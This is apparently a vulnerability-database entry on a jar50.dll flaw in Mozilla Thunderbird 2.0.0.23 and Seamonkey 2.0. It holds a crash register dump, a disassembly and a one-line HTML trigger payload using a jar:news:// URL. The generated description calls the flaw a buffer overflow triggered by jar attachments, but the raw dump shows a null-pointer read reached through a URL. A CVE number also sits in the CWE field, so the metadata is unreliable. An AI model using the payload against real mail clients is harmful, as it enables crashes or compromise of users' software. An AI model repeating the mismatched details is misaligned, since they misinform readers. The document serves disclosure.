jar50.dll Remote Code Execution Vulnerability

vendor:

Thunderbird and Seamonkey

by:

Mozilla Security Team

9.3

CVSS

HIGH

Remote Code Execution

119

CWE

Product Name: Thunderbird and Seamonkey

Affected Version From: Mozilla Thunderbird 2.0.0.23

Affected Version To: Mozilla Seamonkey 2.0

Patch Exists: YES

Related CWE: CVE-2008-2785

CPE: a:mozilla:thunderbird:2.0.0.23

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2008

jar50.dll Remote Code Execution Vulnerability

A remote code execution vulnerability exists in jar50.dll, a library used by Mozilla Thunderbird and Mozilla Seamonkey. An attacker can exploit this vulnerability by sending a specially crafted email with a malicious jar file attachment. The vulnerability is caused by a buffer overflow in the jar50.dll library when processing a malicious jar file. This can allow an attacker to execute arbitrary code in the context of the application.

Mitigation:

Users should upgrade to the latest version of Mozilla Thunderbird and Mozilla Seamonkey.

Source

Exploit-DB raw data:

 
 (jar50.dll) 

 Mozilla Thunderbird 2.0.0.23 
 Mozilla Seamonkey 2.0 


eax=03d9b850 ebx=80000000 ecx=00000000 edx=00000000 esi=03d9b85c edi=80000000
eip=60016550 esp=0012d438 ebp=0012d5e4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217

funkcja: jar50
        6001653a 5e               pop     esi
        6001653b 8be5             mov     esp,ebp
        6001653d 5d               pop     ebp
        6001653e c21800           ret     0x18
        60016541 8b442404         mov     eax,[esp+0x4]
        60016545 56               push    esi
        60016546 8b5028           mov     edx,[eax+0x28]
        60016549 8b4824           mov     ecx,[eax+0x24]
        6001654c 83c0f4           add     eax,0xfffffff4
        6001654f 52               push    edx
        60016550 8b31             mov     esi,[ecx]        ; ds:0023:00000000=????????
        60016552 50               push    eax
        60016553 51               push    ecx
        60016554 ff560c           call    dword ptr [esi+0xc] ; 12
        60016557 5e               pop     esi
        60016558 c20c00           ret     0xc
        6001655b 53               push    ebx
        6001655c 56               push    esi
        6001655d 8b74240c         mov     esi,[esp+0xc]
        60016561 57               push    edi
        60016562 f6465780         test    byte ptr [esi+0x57],0x80


Nie kochamy Kubusia Puchatka :)

<img src="jar:news://!/">